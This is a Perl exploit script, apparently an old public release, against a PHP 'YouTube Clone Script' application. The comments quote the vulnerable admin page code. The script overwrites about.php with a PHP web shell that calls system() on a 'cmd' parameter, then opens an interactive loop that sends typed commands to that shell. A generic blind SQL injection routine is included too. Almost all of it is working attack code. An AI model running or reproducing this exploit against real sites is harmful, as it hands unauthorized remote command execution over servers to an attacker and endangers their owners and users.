#!/usr/bin/perl 
#inphex
#/siteadmin/spages.php
#        include("../include/config.php");
#        include("../include/function.php");
#
#        if($_REQUEST['update'])
#        {
#                $file_path = $config['BASE_DIR']."/templates/".$_REQUEST['page'];
#                if(file_exists($file_path))
#                {
#                        $handle = fopen($config['BASE_DIR']."/templates/".$_REQUEST['page'], "w");
#                        fwrite($handle,stripslashes($_POST['body']));
#                        fclose($handle);
#                        $msg = "Page updated successfully";
#                }
#                else
#                        $err = "Page does not exist";
#        }
#
#        STemplate::assign('msg',$msg);
#        STemplate::assign('err',$err);
#        STemplate::display("siteadmin/spages.tpl");
#
#Very easy one...
#YouTube-Clone-Script is quite buggy,there are more bugs.

use Digest::MD5 qw(md5 md5_hex md5_base64);
use LWP::UserAgent;
use HTTP::Cookies;
use Switch;
$host_ = shift;
$path_ = shift;

print "usage: $0 http://host /path/\n";
$info{'info'} = { 
  "author" => ["inphex"],
  "name" => ["YouTube Clone Script Remote Code Execution"],
  "version" => [],
  "description" => ["This Script will exploit a Remote Code Execution vulnerability existing in the YouTube Clone Script\n"],
  "options" =>
  {
    "agent" => "",  
    "proxy" => "",  
    "default_headers" => [  
      ["key","value"]], 
    "timeout" => 2, 
    "cookie" =>     
    {
      "cookie" => ["key=value"],
    },
  },
  "sending_options" =>
  {
      "host" => $host_, 
      "path" => $path_."siteadmin/spages.php",           
        "port" => 80,                  
      "method_a" => "REMOTE_CHECK",  
      "attack" =>
    {
        "update" => ["get","update","1"],  
        "path" => ["get","page","../about.php"],
        "content" => ["post","body","<?php echo system(\$_GET[cmd]); ?>"],
    },
  },

};
&start($info{'info'},222);
do {
  print "\$";$cmd = <STDIN>;chomp($cmd);
  $info{'info'} = { "options" =>{"agent" => "",  "proxy" => "",  "default_headers" => [  ["key","value"]], "timeout" => 2, "cookie" =>     {"cookie" => ["key=value"],},},"sending_options" =>{"host" => $host_, "path" => $path_."about.php",           "port" => 80,                  "method_a" => "CODE_EXECUTION",  "attack" =>{"cmd" => ["get","cmd",$cmd],  },},};
    &start($info{'info'},221);
    $content = ${$info{'info'}}{221}{'content'};
    print $content;
  print "\n";
} while (1);
sub start
{
  $a_ = shift;
  @EXPORT    = qw( start $return $a_ ); 
  $id = shift;
  $get_dA = get_d_p_s("get");
  $post_dA = get_d_p_s("post");
  my ($x,$c,$m,$h,$ff,$kf,$hp,$c,$cccc) = (0,0,0,0,0,0,0,0,0);
  my $jj = 1;
  my $ii = 48;
    my $hh = 1;
  my $ppp = 0;
  my $s = shift;
  my $a = "";
  my $res_p = "";
  my $h = "";
  ($h_host_h_xdsjaop,$h_path_h_xdsjaop,$h_port_h_xdsjaop,$method_m) = ($a_->{'sending_options'}{'host'},$a_->{'sending_options'}{'path'},$a_->{'sending_options'}{'port'},$a_->{'sending_options'}{'method_a'});
  $ua = LWP::UserAgent->new;
  $ua->timeout($a_->{'options'}{'timeout'});  
  if ($a_->{'options'}{'proxy'}) {
      $ua->proxy(['http', 'ftp'] => $a_->{'options'}{'proxy'});
  }
  $agent = $a_->{'options'}{'agent'} || "Mozilla/5.0"; 
  $ua->agent($agent); 
  {                                                 
    while (($k,$v) = each(%{$a_}))
      {
      if ($k ne "options" && $k ne "sending_options")
        {
        foreach $r (@{$a_->{$k}})
          {
          if ($a_->{$k}[0])
            {
            print $k.":".$a_->{$k}[0]."\n";
            }
          }
        }
      }


    foreach $j (@{$a_->{'options'}{'default_headers'}})
      {    
      $ua->default_headers->push_header($a_->{'options'}{'default_headers'}[$m][0] => $a_->{'options'}{'default_headers'}[$m][1]);
      $m++;
      }

    if ($a_->{'options'}{'cookie'}{'cookie'}[0])
      {          
      $ua->default_headers->push_header('Cookie' => $a_->{'options'}{'cookie'}{'cookie'}[0]);
      }

      

  }
  switch ($method_m)        
  {
    case "attack" { &attack();}
    case "SQL_INJECTION_BLIND" { &sql_injection_blind();}
    case "REMOTE_COMMAND_EXECUTION" { &attack();}
    case "REMOTE_CODE_EXECUTION" {&attack();}
    case "REMOTE_FILE_INCLUSION" { &attack();}
    case "LOCAL_FILE_INCLUSION" { &attack(); }
    else { &attack(); }  

  }


  sub attack
  {
    
    if ($post_dA eq "") {
      $method = "get";
    } elsif ($post_dA ne "")
    {
      $method = "post";
    }
    if ($method eq "get") {  
      $res_p = get_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA);
      ${$a_}{$id}{'content'} = $res_p;
      foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
        {
        $res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/;
        
        while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1])
          {
          if (${$jj} ne "")
            {
            ${$a_}{$id}{'regex'}[$h] = ${$jj};
            }
            $jj++;
          }
          $h++;
        }
    } elsif ($method eq "post")
    {
      $res_p = post_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA,"application/x-www-form-urlencoded",$post_dA);
    
      ${$a_}{$id}{'content'} = $res_p;

      foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
        {
        $res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/;
        while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1])
          {
          if (${$jj} ne "")
            {
            ${$a_}{$id}{'regex'}[$h] = ${$jj};
            }
            $jj++;
          }
          $h++;
        }
    }

  }
  sub sql_injection_blind
  {
    while ()
      {
      while ($ii <= 90)
        {
        if(check($ii,$hh) == 1)
        {
          syswrite STDOUT,lc(chr($ii));
          $hh++;
          $chr = $chr.chr($ii);
          }
          $ii++;
      }
      push(@ffs,length($chr)); 
      if (($#ffs -1) == $ffs)
        {
        print "\nFinished/Error\n";
        exit;
        }
        $ii = 48;
    }
  }
  sub check($$)
  {
    $ii = shift;
    $hh = shift;
    if (get_d_p_s("post") ne "")
      {
      $method = "post";
    } else { $method = "get";}
    if ($method eq "get")
      {
      $ppp++;
      $query = modify($get_dA,$ii,$hh);
      print $ii."-".$hh."\n";
      $res_p = get_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query);
      foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
        {
        if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/)
          {
          return 1;
          }
          else 
        {
            return 0;
        }
        $h++;
      }
    } elsif ($method eq "post")
      {
      $ppp++;
      $query_g = modify($get_dA,$ii,$hh);
      $query_p = modify($post_dA,$ii,$hh);
      
      $res_p = post_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query_g,"application/x-www-form-urlencoded",$query_p);
      foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
        {
        if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/)
          {
          return 1;
          }
          else 
          {
            return 0;
          }
        $h++;
      }
    }
  }
    sub modify($$$)
  {
      $string = shift;
      $replace_by = shift;
      $replace_by1 = shift;

      if ($string !~/\$i/ && $string !~/\$h/) {
        print $string;
          } elsif ($string !~/\$i/)
    {
            $ff = substr($string,0,index($string,"\$h"));
              $ee =  substr($string,rindex($string,"\$h")+2);
              $string = $ff.$replace_by1.$ee;

              return $string;
    } elsif ($string !~/\$h/)
    {
          $f = substr($string,0,index($string,"\$i"));
          $e = substr($string,rindex($string,"\$i")+2);
          $string = $f.$replace_by.$e;
        return $string;
    } else
    {
        $f = substr($string,0,index($string,"\$i"));
          $e = substr($string,rindex($string,"\$i")+2);
          $string = $f.$replace_by.$e;

        $ff = substr($string,0,index($string,"\$h"));
          $ee =  substr($string,rindex($string,"\$h")+2);
          $string = $ff.$replace_by1.$ee;

        return $string;
    }
  }
  sub get_d_p_s
  {
    $g_d_p_s = shift;
    $post_data = "";
    $get_data = "";
    $header_data = "";
    %header_dA = ();
    while (($k,$v) = each(%{$a_->{'sending_options'}{'attack'}}))
      {
      if ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "get")
        {

        $method = "get"; push(@get,$a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'attack'}{$k}[2]);
        }
        elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "post") 
        {
          $method = "post"; push(@post,$a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'attack'}{$k}[2]);
          }
          elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "header")
        {
                $header_dA{$a_->{'sending_options'}{'attack'}{$k}[1]} = $a_->{'sending_options'}{'attack'}{$k}[2];
        }
        $hp++;
      }
    $yy = $#get;
    while ($bb <= $#get)
      {
      $get_data .= $get[$yy]."&";
      $bb++;
      $yy--;
      }
    $l = $#post;
    while ($k <= $#post)
      {
      
      $post_data .= $post[$l]."&";
      $k++;
      $l--;
      }
    if ($g_d_p_s eq "get")
      {
      
      return $get_data;
      }
      elsif ($g_d_p_s eq "post")
    {
      return $post_data;
    } elsif ($g_d_p_s eq "header")
    {
      return %header_dA;
    }
  }
  sub get_data
  {
    $h_host_h_xdsjaop = shift;
    $h_path_h_xdsjaop = shift;
    %hash = get_d_p_s("header");
      while (($u,$c) = each(%hash))
      {
      $ua->default_headers->push_header($u => $c);
      }
    $req = $ua->get($h_host_h_xdsjaop.$h_path_h_xdsjaop);
    return $req->content;
  }
  sub post_data
  {
    $h_host_h_xdsjaop = shift;
    $h_path_h_xdsjaop = shift;
    $content_type = shift;
    $send = shift;
    %hash = get_d_p_s("header");
      while (($u,$c) = each(%hash))
      {
        $ua->default_headers->push_header($u => $c);
      }
    $req = HTTP::Request->new(POST => $h_host_h_xdsjaop.$h_path_h_xdsjaop);
    $req->content_type($content_type);
    $req->content($send);
    $res = $ua->request($req);
    return $res->content;
  }

}